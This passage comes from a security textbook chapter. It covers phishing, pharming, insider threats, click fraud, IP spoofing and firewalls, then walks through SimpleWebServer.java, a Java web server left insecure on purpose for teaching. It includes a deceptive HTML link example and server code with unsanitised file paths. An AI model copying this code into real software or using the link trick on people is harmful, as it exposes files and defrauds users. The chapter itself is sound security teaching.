that looks similar to a legitimate web site. The attacker then attempts to lure victims to the
spoofed web site and enter their login credentials, such as their usernames and passwords.
In a phishing attack, attackers typically lure users to the spoofed web site by sending them 
e-mails suggesting that there is some problem with their account, and that the user should
click a link within the e-mail to “verify” their account information. The link included in the 
e-mail, of course, is to the attacker’s web site, not the legitimate site. When unsuspecting users
click the link, they arrive at the spoofed site and enter their login credentials. The site simply
logs the credentials, and either reports an error to the user or redirects the user to the legiti-
mate site (or both). The attacker later uses the logged credentials to log into the user’s account
and transfer money from the user’s account to their own. 

Why do users fall for clicking such links in e-mails sent by phishers? Phishers use various
techniques to hide the fact that the link is to their illegitimate, spoofed site. Following is an
example. 

First, in HTML documents, a link is constructed as follows: 

<A HREF='http://www.destination-site.com/'> 
Click here
</A> 

When the e-mail is rendered by a browser, the link will look like this: Click here, and the
destination address will not be apparent to an unsuspecting user. 

An attacker can use code such as the following in an HTML e-mail sent to the victim: 

<A HREF=http://www.evil-site.com/> 
http://www.legitimate-site.com/ 
</A> 

The browser displays http://www.legitimate-site.com/, but when the user clicks the
link, the browser loads the front page of www.evil-site.com since that is what is specified by
the hyperlink reference (HREF) in the anchor (A) tag in the HTML e-mail. In real phishing
attacks, the phisher might have the browser display www.paypal.com or www.google.com, and
have the hyperlink reference point to www.paypa1.com (with a “1” instead of a “l”) or
www.gogole.com (“google” misspelled), respectively. 

Slightly more sophisticated users may position their mouse over the link prior to clicking
it. Many browsers will display the address of the destination site at the bottom of the browser
window or in a pop-up tool tip. Such users may decide not to click the link if the actual desti-
nation site does not match their expectation. 
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2.1.4. Pharming
Pharming is another attack in which a user can be fooled into entering sensitive data into a
spoofed web site. It is different than phishing in that the attacker does not have to rely on
the user clicking a link in an e-mail. With pharming, even if the user correctly enters a URL
(uniform resource locator)—or web address—into a browser’s address bar, the attacker can
still redirect the user to a malicious web site. 

When a user enters a URL—say, www.google.com/index.html—the browser needs to first
figure out the IP address of the machine to which to connect. It extracts the domain name,
www.google.com, from the URL, and sends the domain name to a domain name server (DNS).
The DNS is responsible for translating the domain name to an IP address. The browser then
connects to the IP address returned by the DNS and issues an HTTP request for index.html.

In a pharming attack, an attacker interferes with the machine name–to–IP address trans-
lation for which the DNS is responsible. The attacker can do so by, for instance, compromising
the DNS server, and coaxing it into returning the attacker’s IP address instead of the legitimate
one. If the user is browsing via HTTP, the attack can be unnoticeable to the user. However, if a
user connects to a site using SSL, a pharming attack (in most cases) will result in a dialog box
from the browser complaining that it was not able to authenticate the server due to a “certifi-
cate mismatch.” (We discuss certificates in Section 15.3.)

PHARMING (A.K.A. DNS CACHE POISONING)

While the term pharming was coined in March 2005 shortly after a significant attack, this type of attack has
been known for years prior under the name DNS cache poisoning. However, due to the increasing use of
the Internet to conduct financial transactions, DNS cache poisoning is no longer just a matter of academic
interest—criminals have turned to it for financial gain.

2.1.5. Insider Threats
A surprisingly large percentage of attacks take place with the cooperation of insiders. Insiders
could be, for instance, employees at a corporation who abuse their privileges to carry out
malicious deeds. Employees are sometimes trusted with access to databases with customer
information and employee records, copies of financial reports, or confidential information
concerning product launches. Such information can be abused in the obvious ways: employee
data could be sold to headhunters, customer credit card numbers could be sold on the black
market, financial reports could facilitate insider trading, and product launches could be
leaked to the press.

As such, it is sometimes important to defend a system against the very people that are
responsible for using it on a daily basis. Database administrators, for example, have tradition-
ally been given the “keys to the entire kingdom,” and have complete access to all employee
and customer data stored in a database. System administrators similarly are given “superuser”
access to all resources and data under the control of an operating system. Additional features
are needed in both database and operating systems to provide for separation of privilege, the
concept that an individual should only be given the privileges that he needs, without also
being given unrestricted access to all data and resources in the system. 
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2.1.6. Click Fraud
Prior to the advent of pay-per-click advertising, the threat of click fraud never existed. Pay-per-
click advertising is an Internet advertising model in which advertisers provide advertisements
to search engines. Search engines work with web site publishers to insert advertisements not
only on search result pages, but also on publisher’s content pages. The idea is that the entire
page of content on a publisher’s site is considered a “query” for the search engine, and rele-
vant ads are inserted on the publisher’s web page. Advertisers pay the search engine whenever
users click on those advertisements. Web site publishers typically receive a revenue share for
clicks on ads that occur on their site. Advertisers usually set a maximum daily budget for their
advertising campaigns so that their advertising costs do not go unbounded.

Such a pay-per-click advertising system can be abused in several ways. We will describe
two of them. In one type of click fraud, an advertiser will click a competitor’s ad with the
intention of “maxing out” their competitor’s budget. Once their competitor’s budget has been
exhausted, their ads may exclusively be shown to legitimate users. Such an attack ends up
wasting the competitor’s financial resources, and allows the attacker to receive all the legiti-
mate ad clicks that their competitor might have received. In another type of click fraud, a web
site publisher will click on ads shown on their own web site in an attempt to receive the rev-
enue share for those clicks. In some cases, the fraudulent publisher can hire a third-party firm
or deploy malware to click on the ads.

CLICK FRAUD DETECTION METHODS

At the time of writing of this book, some search engines are working to become more transparent about
some of the approaches they use to fight click fraud. On one hand, they are currently using security by
obscurity (see Section 2.6). On the other hand, it is probably not feasible (from a privacy or scalability stand-
point) for them to distribute secret keys to each and every Internet user so that they can be authenticated
prior to clicking an ad! If you are interested in how search engines fight click fraud, you might be interested
in reading “The Lane’s Gift v. Google Report,” by Alexander Tuzhilin.

Click fraud only became a relevant business threat when pay-per-click advertising started
becoming big business. Similarly, credit and ATM card fraud only became an issue when credit
card and electronic banking started to take off. Identity theft became a more serious issue
when enough electronic commerce took place that it became possible to do transactions
based on exchanging numbers online or over the phone. 

2.1.7. Denial-of-Service (DoS) 
Another significant threat that e-commerce and financial institutions face are DoS attacks. In
one type of DoS attack, the attacker sends so many packets to a web site that it cannot service
the legitimate users that are trying access it. A financial institution or e-commerce site can
end up losing money and revenue as the result of such a DoS attack because its customers
will not be able to conduct transactions or make online purchases.
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2.1.8. Data Theft and Data Loss
In 2005 and 2006 alone, there were several incidents in which major organizations with rep-
utable brands had significant amounts of sensitive data lost or stolen. Bank of America,
ChoicePoint, and the Veteran’s Administration (VA) were among them. A list of data breaches
since 2005 is available on the Privacy Rights Clearinghouse web page (www.privacyrights.
org/ar/ChronDataBreaches.htm).

In Bank of America’s case, backup data tapes with sensitive information for over one
million customers were lost as they were being transported from one location to another
(CNN/Money 2005; Lemos 2005). Bank of America provided one year of free credit monitoring
services to all affected customers.

ChoicePoint, one of the largest data aggregators in the United States, was scammed by
fraudsters who set up approximately 50 impostor accounts and used them to query Choice-
Point’s database for social security numbers, dates of birth, and other sensitive information
for 163,000 people (Hines 2005; PRC ChoicePoint 2005). ChoicePoint was fined $10 million by
the Federal Trade Commission (FTC), and was forced to set up a $5 million fund to help iden-
tity theft victims (Sullivan 2006). 

In the case of the VA, an employee who worked for Unisys, one of the VA’s subcontractors,
took home computer equipment that had personal information for 26.5 million veterans
stored on it, and the employee’s home was burglarized. The employee, who was not author-
ized to take the computer equipment home, was dismissed, and the employee’s supervisor
resigned. 

Due in part to a California state law passed in 2003, these companies were required to
notify customers when these incidents occurred. It is possible that significant data theft had
occurred prior to 2003, but companies were not required to report the theft to those affected.
The California law requires that companies report data breaches in which unencrypted data is
accessed by an unauthorized party.

However, the original law, as written, may not apply if the customer data is encrypted—
this is worrisome because although the data could be encrypted, the decryption key could be
stored on the same media as the encrypted data. An attacker would simply need to use the
decryption key to access the sensitive data! It might have been nice if the law also covered
encrypted data, and also required that decryption keys be stored on media separate from the
data that they protect. A corresponding federal bill relating to data theft is in development at
the time of writing of this book, although it is unclear whether it will be more or less stringent
than the California law.

2.2. Designing-In Security
At the highest level, designing security into a software application means that one should keep
security in mind while building it, starting with its requirements and design. It is not advisable
to write your code first, and then worry about making it secure afterward. Experience has
shown that it is very hard to add on security later. 

The following subsections provide two common examples that illustrate the importance
of designing-in security from the start. We then discuss problems inherent in trying to protect
such vulnerable systems by creating yet more systems to act as gatekeepers. 
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2.2.1. Windows 98
Problems occasionally arose in Windows 98 in which a diagnostic mode is needed to deal with
the issue. For example, if some device driver locks up while the computer is booting up,1 the
Windows 98 diagnostic mode can be used to help determine which device drivers may be
causing the problem. The Windows 98 diagnostic mode does not load up all device drivers at
boot time.

You can access the diagnostic mode in Windows 98 by pressing the F8 key while the oper-
ating system is booting up. Even if a computer is password protected, anyone can hit the F8 key
at boot time, and the computer will jump into its diagnostic mode, giving the user the ability to
access the hard disk and any sensitive data on it without entering a username or password.

In Windows 98, the security feature of entering a username and password was added into
the operating system as an afterthought, as opposed to being part of the initial design of the
operating system. If instead the operating system was designed with security in mind, then it
might ask a user to enter a username and password to even enter the diagnostic mode. The
design of the Windows 98 password mechanism is an example of how adding security as an
afterthought does not work.

2.2.2. The Internet
Another example of how it is very difficult to add security as an afterthought is the design of
the Internet itself. When the Internet was designed, all of the hosts (computers) on the net-
work were effectively trusted because they were owned by universities or military installations
that trusted each other and wanted to collaborate with one another. (The Internet grew out of
a government project funded by DARPA, the Defense Advanced Research Project Agency.) In
the mid-1990s, due to the mass commercialization of the Internet, just about everyone started
connecting their computers to the Internet. New hosts were allowed to connect to the existing
hosts regardless of whether the existing parties on the network trusted the newly connected
hosts. To protect themselves, some hosts started deploying firewalls.

Firewalls and Their Limitations
A firewall allows hosts to specify that they trust some hosts to connect to them on some ports
while they do not trust other hosts or accept traffic on other ports. However, due to the way
that the Internet was designed, firewalls are not always necessarily able to enforce the trust
relationships their users would like, since hosts can lie about IP addresses or communicate
over ports that have been cleared to go through the firewall. 

Consider two hosts, Alice (A) and Bob (B). For A to send a message to B, A needs to con-
struct an Internet Protocol (IP) packet. You can think of an IP packet as a letter that one might
send in the mail, except that it is transmitted over a wire instead of dropped into a mailbox.
The data packet has two parts: an “envelope,” sometimes referred to as the IP header, and the
message itself. The IP header contains host B’s IP address (the destination address). The mes-
sage contains the data that A would like to send to B. 
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Internet ports are used to route messages to applications on hosts, using, for instance,
Transmission Control Protocol (TCP). By convention, applications of different types commu-
nicate over different ports. For instance, web browsers typically communicate with web
servers over port 80, and mail clients send outbound e-mails to mail servers on port 25. (A list-
ing of standard port assignments can be found at www.iana.org/assignments/port-numbers.) 

However, port assignments are by convention only, and there is no fundamental reason
that a web client couldn’t connect to a web server listening on port 25, or that a mail server
couldn’t be run on port 80. Hence, firewalls sometimes cannot effectively control or restrict
traffic successfully by just imposing rules on what port numbers applications can use to
communicate.

Malicious hosts can easily “lie” about source addresses in IP packets. By taking advantage
of low-level networking routines, an attacker can write code that fills in the source IP address
field in outgoing IP packets instead of letting the operating system do it. Let Mallory (M) be a
malicious host. Host M could, for instance, put host A’s IP address on the data packet that it
sends to B. When host B looks at the data packet, it will look like it came from A.

One can imagine that this capability can be used for nefarious purposes. Consider a sce-
nario in which host B is storing all of Alice’s files on its hard disk, and Alice issues commands
to add, remove, and delete files every now and then from host A. Host B might even be config-
ured to only process commands in data packets that have A’s address as the source address.
The practice of deciding to accept communications from another host based on the host’s IP
address is often called IP whitelisting.2 Host B is said to store a whitelist, which is simply a list
of IP addresses from which it will accept data packets. 

Unfortunately, our malicious host M may be able to coerce host B into executing com-
mands of its choice simply by putting host A’s address on the envelope. When an Internet host
intentionally mislabels the source address on data packets that it sends out, it is said to be
conducting an IP spoofing attack. IP whitelisting, as a security mechanism, is potentially sus-
ceptible to IP spoofing attacks, especially when non-connection-oriented protocols such as
UDP are used.

Host B will send the results of the commands it executes to the host specified as the
source address. In our example, host B sends its response to host A, not host M. However, if
the command is “delete all files on the hard disk,” an attacker such as M does not need to
receive the results of the command in order to cause damage. 

IP spoofing is possible for an attacker even if more than one round of communication is
necessary. Consider a scenario in which host B from the previous example sends a message
that says “Are you sure you want to delete all files?” in response to receiving the “delete all files
on the hard disk” command, and waits for a response prior to actually issuing the command.
Now, one might hope that since host B would require an answer back from host A confirming
the deletion, the attack could be foiled. 

However, our attacker on host M will still be able to delete all the files on B’s hard disk.
One problem the attacker would need to solve is that when host A receives the “Are you sure
you want to delete all files?” message, Alice may say “No” because she never sent the delete
command to begin with (and she probably does not want all her files to be deleted). Indeed,
if host A receives the “Are you sure you want to delete all files?” message, it might be an
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indication that there is an attack taking place. Alternatively, host A simply might not respond
to the “Are you sure?” message at all. 

If host A does not respond to the “Are you sure?” message, then host M could send a sec-
ond spoofed packet sometime later with the answer “Yes.” Since the source IP address would
be A’s address, host B would allow the command because host A’s address is on its whitelist,
and host B would proceed to delete all files on its hard disk. 

So it is actually quite critical that host M makes sure that host A does not respond to the
“Are you sure?” message. To ensure that host A does not respond, host M can start a DoS attack
against host A prior to sending its “delete all files” message to host B. Hence, even though host
B sends an “Are you sure?” message back to the source address to confirm the “delete” com-
mand, an IP spoofing attack is still possible.

To make the attack harder, host B can include a nonce, a pseudo-random number intended
for one-time use, in the “Are you sure?” message. When host B receives the request to delete
files, it responds to host A with a confirmation request of the form “Are you sure? Please echo
the random number 3957264392047453759 back if you are sure.” If host A indeed wanted to
delete all files, it would respond with “Confirm delete all files—confirmation number
3957264392047453759.” The point of the nonce is that since host M does not know it (M does
not receive the confirmation request), our adversary would not be able to issue a successful
confirmation to delete the files. 

IP spoofing is much easier for non-connection-oriented protocols such as UDP than for
connection-oriented protocols like TCP. TCP includes a sequence number in packets that is
typically used to reorder packets if they arrive from the network out of order. However, if an
attacker can successfully guess TCP sequence numbers, the attacker may be able to insert
packets into a TCP conversation. When a TCP connection is established, the operating system
chooses a TCP sequence number for the first packet in the conversation. If it does not do a
good job choosing such a number at random, an attacker may be able to predict the next
sequence number that will be used, and can use that information to set up a spoofed TCP
connection. 

If you have further interest in IP spoofing, you can read more about it in Robert Morris’s
paper, “A Weakness in the 4.2BSD UNIX TCP/IP Software” (Morris 1985) or the more recent
article from Phrack magazine entitled “IP Spoofing Demystified” (daemon9, route, and
infinity 1996).

The Adoption of IP
There is sometimes a natural trade-off between security and convenience. We discuss this
trade-off more in Section 2.3, but we’ll briefly point out that the adoption of IP is an example
of it here. IP was very convenient to deploy, and, partially as a result, it received wide adop-
tion. On the other hand, if it were more secure but less convenient to deploy, it may not have
been adopted as quickly or as widely.

A protocol called IPsec was developed to require hosts to authenticate each other so that
they cannot lie about their IP address or identity. Unfortunately, IPsec is not widely deployed
on the public Internet.3
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If IP had been first designed to have authentication built in as part of the protocol (as in
IPsec), the world might be very different today. It is possible that attackers would not have
as much flexibility as they do today. At the same time, if IP had been more like IPsec, and
required as much overhead to deploy, it is possible that it would not have had as wide an
adoption as it did. 

How do you achieve both security and adoption? The challenge is to design and use secu-
rity mechanisms that are not too inconvenient, and that may even help serve as a reason for
increased adoption. 

2.2.3. Turtle Shell Architectures
When systems are not designed with security in mind, sometimes attempts are made to
secure them with turtle shell architectures after the fact. A turtle shell architecture is one in
which an inherently insecure system is “protected” by another system that attempts to medi-
ate accesses to the insecure system. 

Firewalls are such an example. Many corporations and organizations interested in secur-
ing their systems on the Internet deploy a firewall in front of their systems. The firewall creates
a turtle shell architecture that attempts to guard soft, vulnerable software inside the corpora-
tion’s network perimeter. 

While it is, in general, useful to construct a hard outer shell, that outer shell should not be
relied upon completely for defense. If there is a way to get through that shell or “turn the turtle
over,” the software running on hosts underneath the shell would be very susceptible to attack.

THE DEATH STAR’S FIREWALL

If you remember the first Star Wars movie, A New Hope, originally released in 1977, you may now realize that
the Death Star had a turtle shell architecture. The Death Star was a moon-sized space battlestation that went
around the galaxy destroying planets with good, happy people on them. The technical specifications of the
Death Star that were stored by the droid R2-D2 revealed that it had “a strong outer defense” consisting of a
magnetic shield and large, powerful turbo lasers mounted on the surface of the battlestation. The Death
Star’s defenses were geared at mitigating the threat posed to it by large space cruisers. However, the good
guys in the movie—the rebels—were able to destroy the Death Star by piloting small, one-manned stunt
fighters through the magnetic shield, evading the large, relatively slow-moving turbo lasers, and exploiting its
weakness—a small, thermal exhaust port connected to the battlestation’s power-generation system.

Think of a firewall as the Death Star’s magnetic shield. It may help mitigate large, outright, blatant
attacks. However, it is fairly useless against more stealthy attacks. A firewall can prevent incoming connec-
tions from particular hosts or IP addresses based on the information in packets. Of course, if an attacker can
successfully spoof IP addresses, then a firewall may not be able to tell the difference between a packet that
was sent from a legitimate host and one that was not.

To summarize, when the Internet was designed, security was not one of the design
parameters. The same was true when Windows 98 was designed. When you design new soft-
ware features, you should think about security up front—don’t add it on as an afterthought.
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2.3. Convenience and Security
Security comes at a price not only to the company that is developing an information system,
but to the users of that system. The system may become less convenient for the users as more
security technology is deployed. For example, if you allow your users to choose whatever
password they like, this may lead to security vulnerabilities since some users may choose
passwords that are easy for attackers to guess. On the other hand, if you deploy a security
technology that assigns complicated passwords to users, your system may seem more secure,
but it will be less convenient to your users, since they may forget the passwords if they’re too
complicated. We say “seem” more secure because if the passwords are so hard to remember
that users start writing them down, this introduces another vulnerability that may end up
actually decreasing the security of the overall system. If those written-down passwords are
stored in a user’s wallet with all of his other credentials, that would involve some risk; but if
they’re on a Post-it note stuck to the side of a monitor in a public office space, that would
involve significantly more risk!

A good security technology can increase both convenience and security—although that
may not always be possible. For example, if you allow users to choose their own passwords,
but make them choose sufficiently complicated ones (e.g., require that users enter one digit
or special character into a password that’s between eight and ten characters), this might sig-
nificantly increase security at the cost of only a little bit of inconvenience. A good security
technology will provide a relative security benefit at only a slight inconvenience to users.
A good technology will increase both convenience and security, because even if it introduces
a slight inconvenience, it can reduce or eliminate more significant inconveniences (and
damages) that may occur as the result of a successful attack.

2.4. SimpleWebServer Code Example
Now that we have covered some basics of how the Internet works, we will introduce our code
example, a simple web server that we will be using to illustrate various security design con-
cepts later in this chapter and the next.

Before we present the code for the simple web server, we’ll briefly review the basics of
how web servers work. We have intentionally simplified our explanation so that we can focus
on only the essential details, so if you’re a web veteran, please don’t be alarmed at how many
details we’ve omitted!

2.4.1. Hypertext Transfer Protocol (HTTP)
The World Wide Web (WWW), or Web for short, is made up of a network of Internet servers
(“web servers”) that serve Hypertext Markup Language (HTML) documents to web browser
client applications. Web servers typically listen for connections coming from web browsers on
port 80. After a web browser connects to a web server on port 80, it communicates with the
web server using the Hypertext Transfer Protocol (HTTP). The first HTTP message that the
browser sends to a server after connecting is typically of the following form: 

GET <filename> <http-version> 
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A typical HTTP request that a browser will make to a web server for the server’s home page
is the following: 

GET / HTTP/1.0

When the web server receives this request for the filename /, the root document on the
web server, it attempts to load a file usually called index.html. If the server can locate the
file requested, it sends back the following HTTP response, followed by the contents of the
document: 

HTTP/1.0 200 OK 

<document content> 

Once the browser receives the document contents, very often in HTML, it will render that
document on the user’s screen.

2.4.2. Code Walkthrough
The simple web server that we introduce in this section was not designed or implemented
with security in mind. It was written to just get the basic job done, as is the case with much
software in the real world. In addition, we assume that the programmer who wrote it was not
given a software requirements document, and was just simply told, “Build a basic web server.” 

You will see that our simple web server has many security vulnerabilities, even though it
correctly serves documents using HTTP. We will use this web server to illustrate how it might
have been designed differently. Some of its vulnerabilities will be due to design flaws, some
will be due to implementation vulnerabilities, and others will be due to a combination of
the two.

We now present SimpleWebServer.java, a very small web server written in the Java pro-
gramming language.

While the following SimpleWebServer code may seem reasonably correct, and does func-
tion as a web server, it has many vulnerabilities. You will learn about its vulnerabilities in this
chapter and the next. Although you can run SimpleWebServer on your machine and access it
using your browser, we highly recommend that you do not, unless you have disconnected
your machine from the Internet and/or are running behind a well-maintained firewall. 

1 /********************************************************************************
2
3 SimpleWebServer.java 
4
5
6 This toy web server is used to illustrate security vulnerabilities.
7 This web server only supports extremely simple HTTP GET requests. 
8
9 This file is also available at http://www.learnsecurity.com/ntk.
10
11 *******************************************************************************/ 
12
13 package com.learnsecurity; 
14
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15 import java.io.*; 
16 import java.net.*; 
17 import java.util.*; 
18
19 public class SimpleWebServer { 
20
21         /* Run the HTTP server on this TCP port. */ 
22 private static final int PORT = 8080;
23
24 /* The socket used to process incoming connections
25 from web clients. */
26         private static ServerSocket dServerSocket; 
27
28         public SimpleWebServer () throws Exception { 
29 dServerSocket = new ServerSocket (PORT);
30 }
31
32 public void run() throws Exception {
33                   while (true) { 
34                            /* Wait for a connection from a client. */ 
35 Socket s = dServerSocket.accept();
36
37                            /* Then, process the client's request. */ 
38 processRequest(s);
39 }
40 }
41
42 /* Reads the HTTP request from the client and
43 responds with the file the user requested or
44            an HTTP error code. */ 
45 public void processRequest(Socket s) throws Exception {
46 /* Used to read data from the client. */
47 BufferedReader br =
48 new BufferedReader (
49 new InputStreamReader (s.getInputStream()));
50
51 /* Used to write data to the client. */
52 OutputStreamWriter osw =
53                            new OutputStreamWriter (s.getOutputStream()); 
54
55 /* Read the HTTP request from the client. */
56                   String request = br.readLine(); 
57
58 String command = null;
59 String pathname = null;
60
61 /* Parse the HTTP request. */
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62 StringTokenizer st =
63 new StringTokenizer (request, " ");
64
65 command = st.nextToken();
66 pathname = st.nextToken();
67
68 if (command.equals("GET")) {
69 /* If the request is a GET,
70 try to respond with the file
71 the user is requesting. */
72                            serveFile (osw,pathname); 
73 }
74                   else { 
75 /* If the request is a NOT a GET,
76 return an error saying this server
77                               does not implement the requested command. */
78                            osw.write ("HTTP/1.0 501 Not Implemented\n\n"); 
79 }
80
81 /* Close the connection to the client. */
82 osw.close();
83          } 
84
85 public void serveFile (OutputStreamWriter osw,
86 String pathname) throws Exception {
87 FileReader fr = null;
88 int c = -1;
89 StringBuffer sb = new StringBuffer();
90
91 /* Remove the initial slash at the beginning
92 of the pathname in the request. */
93 if (pathname.charAt(0) == '/')
94 pathname = pathname.substring(1);
95
96 /* If there was no filename specified by the
97 client, serve the "index.html" file. */
98 if (pathname.equals(""))
99                            pathname = "index.html"; 
100
101 /* Try to open file specified by pathname. */
102                  try { 
103 fr = new FileReader (pathname);
104 c = fr.read();
105 }
106 catch (Exception e) {
107 /* If the file is not found, return the
108 appropriate HTTP response code. */
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109                           osw.write ("HTTP/1.0 404 Not Found\n\n"); 
110                           return; 
111 }
112
113                  /* If the requested file can be successfully opened 
114 and read, then return an OK response code and
115 send the contents of the file. */
116                  osw.write ("HTTP/1.0 200 OK\n\n"); 
117                  while (c != -1) { 
118 sb.append((char)c);
119 c = fr.read();
120 }
121 osw.write (sb.toString());
122 }
123
124 /* This method is called when the program is run from
125             the command line. */ 
126          public static void main (String argv[]) throws Exception { 
127
128                   /* Create a SimpleWebServer object and run it. */ 
129 SimpleWebServer sws = new SimpleWebServer();
130 sws.run();
131 }
132 }

Main Program
For those readers who are familiar with Java, the preceding program should seem very
straightforward. We now provide a brief explanation of how the program works for the benefit
of programmers who are not familiar with Java (or object-oriented programming or network-
ing, for that matter).4 In our explanation, we repeat relevant parts of the code so that you do
not have to keep flipping pages. We start with the program’s main() method: 

124 /* This method is called when the program is run from
125             the command line. */ 
126          public static void main (String argv[]) throws Exception { 
127
128                   /* Create a SimpleWebServer object and run it. */ 
129 SimpleWebServer sws = new SimpleWebServer();
130 sws.run();
131 }
132 }
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When a Java program starts running, the code in its main() method is executed first.
The main() method in the program creates a new SimpleWebServer object and calls its run()
method. The SimpleWebServer object is a data structure that contains both the code and data
that make up the web server. When the line containing “new SimpleWebServer()” executes,
it invokes the constructor method. The constructor is simply a method that creates the
SimpleWebServer object—it allocates memory for it and initializes the data used by the object.

Once the SimpleWebServer object is constructed and initialized, the main() method calls
the run() method, which handles all the real work done by the server. The run() method con-
sists of an infinite loop—while (true)—that waits for a connection from a client, and then
attempts to process the client’s request. The call to the ServerSocket accept() method returns
a socket object that corresponds to a unique socket on the server and allows the server to
communicate with the client.

Important Data Members
The SimpleWebServer object has two important pieces of data (also called data members), as
shown here: 

21         /* Run the HTTP server on this TCP port. */ 
22 private static final int PORT = 8080;
23
24 /* The socket used to process incoming connections
25 from web clients. */
26         private static ServerSocket dServerSocket; 

The first is the port number that the web server should listen to for connections from
clients. The PORT variable is simply a constant that is initialized to 8080. (Typically, only system
administrators are allowed to run programs that use ports less than 1024.) Usually, clients
would be able to connect to the simple web server using a URL, or web address, such as
http://machinename.yourdomain.com/. The browser automatically assumes port 80, but you
can specify a different port, such as 8080, by appending a colon followed by the desired port
number in the URL, http://machinename.yourdomain.com:8080.

The second important data member is dServerSocket. The dServerSocket data member
is a socket to which clients can connect. Think of it as being like an electrical socket. Both
web browser clients and web servers have a “virtual” power strip with many sockets on them.
A client can talk to a server by selecting one of its own sockets, selecting one of the server’s
sockets, and establishing a connection between the two by plugging a virtual wire into each
end. However, since we would not want each client to have to worry about choosing a unique
port number on the server so that they don’t interfere with each other, the ServerSocket object
will take connections from many clients connecting to the same port number—in our case,
8080. When a client expresses its desire to connect to the port number, the ServerSocket
object manages assigning each client some unique port from the server’s frame of reference.

Processing Requests
We now describe the processRequest() method that is called once the client connects:
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42 /* Reads the HTTP request from the client and
43 responds with the file the user requested or
44            an HTTP error code. */ 
45 public void processRequest(Socket s) throws Exception {
46 /* Used to read data from the client. */
47 BufferedReader br =
48 new BufferedReader (
49 new InputStreamReader (s.getInputStream()));
50
51 /* Used to write data to the client. */
52 OutputStreamWriter osw =
53                            new OutputStreamWriter (s.getOutputStream()); 
54
55 /* Read the HTTP request from the client. */
56                   String request = br.readLine(); 
57
58 String command = null;
59 String pathname = null;
60
61 /* Parse the HTTP request. */
62 StringTokenizer st =
63 new StringTokenizer (request, " ");
64
65 command = st.nextToken();
66 pathname = st.nextToken();
67
68 if (command.equals("GET")) {
69 /* If the request is a GET,
70 try to respond with the file
71 the user is requesting. */
72                            serveFile (osw,pathname); 
73 }
74                   else { 
75 /* If the request is a NOT a GET,
76 return an error saying this server
77                               does not implement the requested command. */
78                            osw.write ("HTTP/1.0 501 Not Implemented\n\n"); 
79 }
80
81 /* Close the connection to the client. */
82 osw.close();
83          } 

The processRequest() method takes the client socket as input. It uses the client socket
to create the BufferedReader and OutputStreamWriter objects that allow it to read data from
and send data to the client, respectively. Once these communication objects have been
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created, the processRequest() method attempts to read a line of input from the client using
the BufferedReader. We expect that the first line of data that the client sends the server is an
HTTP GET request, as described previously. The StringTokenizer object, st, is used to break
up the request into its constituent parts: the command (i.e., GET) and the pathname to the
file that the client would like to download. If the command is a GET request, as expected, the
serveFile() method is called to load the file into the server’s memory and send it to the client.
If the command is not a GET request, an appropriate HTTP error response is sent to the client. 

Serving Files
Once the GET request is parsed for the filename, the serveFile() method is used to retrieve the
file from disk, and serve it to the client.

85 public void serveFile (OutputStreamWriter osw,
86 String pathname) throws Exception {
87 FileReader fr = null;
88 int c = -1;
89 StringBuffer sb = new StringBuffer();
90
91 /* Remove the initial slash at the beginning
92 of the pathname in the request. */
93 if (pathname.charAt(0) == '/')
94 pathname = pathname.substring(1);
95
96 /* If there was no filename specified by the
97 client, serve the "index.html" file. */
98 if (pathname.equals(""))
99                            pathname = "index.html"; 
100
101 /* Try to open file specified by pathname. */
102                  try { 
103 fr = new FileReader (pathname);
104 c = fr.read();
105 }
106 catch (Exception e) {
107 /* If the file is not found, return the
108 appropriate HTTP response code. */
109                           osw.write ("HTTP/1.0 404 Not Found\n\n"); 
110                           return; 
111 }
112
113                  /* If the requested file can be successfully opened 
114 and read, then return an OK response code and
115 send the contents of the file. */
116                  osw.write ("HTTP/1.0 200 OK\n\n"); 
117                  while (c != -1) { 
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118 sb.append((char)c);
119 c = fr.read();
120 }
121 osw.write (sb.toString());
122 }

The first if statement in serveFile() removes the initial slash before attempting to open
the file specified by the pathname. Also, the second if statement in serveFile() will choose
index.html, and serve the default home page if the client did not explicitly specify a file in the
HTTP GET request. 

The serveFile() method then attempts to open the chosen file and read it into the web
server’s memory. The code in the try block attempts to initialize a FileReader object with
the name of the chosen file, and then attempts to read a single character from the file. If
FileReader is not able to open the file and read a byte from it (perhaps because the file does
not exist), an exception will be thrown (or raised) and the catch block will return an error to
the client. 

If the file was successfully opened, the server tells the client that the server will be able to
satisfy its request for the file by sending an HTTP/1.0 200 OK response message. Then, the
server enters a while loop that reads a byte from the file and appends it into a StringBuffer
until there are no more bytes in the file. (The FileReader’s read method returns -1 when it is
finished reading the file.) Once serveFile() finishes reading the file, it outputs the content of
the entire StringBuffer to the client, control returns to processRequest(), the connection to
the client is closed, and the server waits to process the next client connection. 

And that’s how SimpleWebServer works. It’s a very lightweight web server. Of course, it
doesn’t implement the full HTTP specification (or even a reasonable subset of it), but it can
successfully respond to requests from web browser clients. 

Compiling and Running
SimpleWebServer can be compiled as follows:

C:\SimpleWebServer> javac SimpleWebServer.java 

SimpleWebServer is built such that the root of the document tree is the directory from
which the program is executed. The web server can be run by invoking the Java interpreter as
follows: 

C:\SimpleWebServer> java com.learnsecurity.SimpleWebServer 

So how can the web server be used? Once the web server gets a connection from a client,
it will start looking for files requested by the client in the C:\SimpleWebServer directory. Assume
there exists a file called index.html in that directory, which is the default home page for the
web server.

Typical GET requests from clients may contain a forward slash at the start of the pathname
for the file requested, as follows: 

GET /index.html HTTP/1.0
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To issue such a request, you can launch your web broswer and type http://localhost:
8080/index.html into the address bar of your browser to have it access the index.html default
home page on the web server.5 You can even put your own files and directories in the web
server’s root directory and access them from your browser. That is where the good news ends. 

SimpleWebServer, like much software today, was written just to do its job. It was not writ-
ten to do its job safely or securely, and you will see just how bad it is. As we progress through
this chapter, we will identify and correct a number of SimpleWebServer’s vulnerabilities. We
will also use it as a running example to illustrate many of the points we make about how it
should have been designed and developed! 

2.5. Security in Software Requirements
From the Windows 98 and Internet examples in the preceding section, you learned that it is
not advisable to retrofit software or communications protocols by adding security on after-
ward. It is advisable to design for security from the beginning. One way to start “baking”
security into your software is to define concrete, measurable security goals in software
requirements documents. Also, while we will touch upon the importance of security require-
ments and handling abuse cases through validation and fraud checks in this section, you are
encouraged to read Gary McGraw’s book, Software Security: Building Security In, for more
depth on how to instrument your software development process to achieve security.

2.5.1. Specifying Error Handling Requirements
Security vulnerabilities very often occur due to bad error handling. Requirements documents
that do not specify how to handle errors properly usually result in software that handles errors
in some arbitrary way.

Software requirements documents typically contain sections dedicated to specifying how
functionality should work in both normal and error conditions. It is advisable for require-
ments documents to specify what actions a software application should take in every possible
error condition you can think of. If error handling is not explicitly specified in requirements,
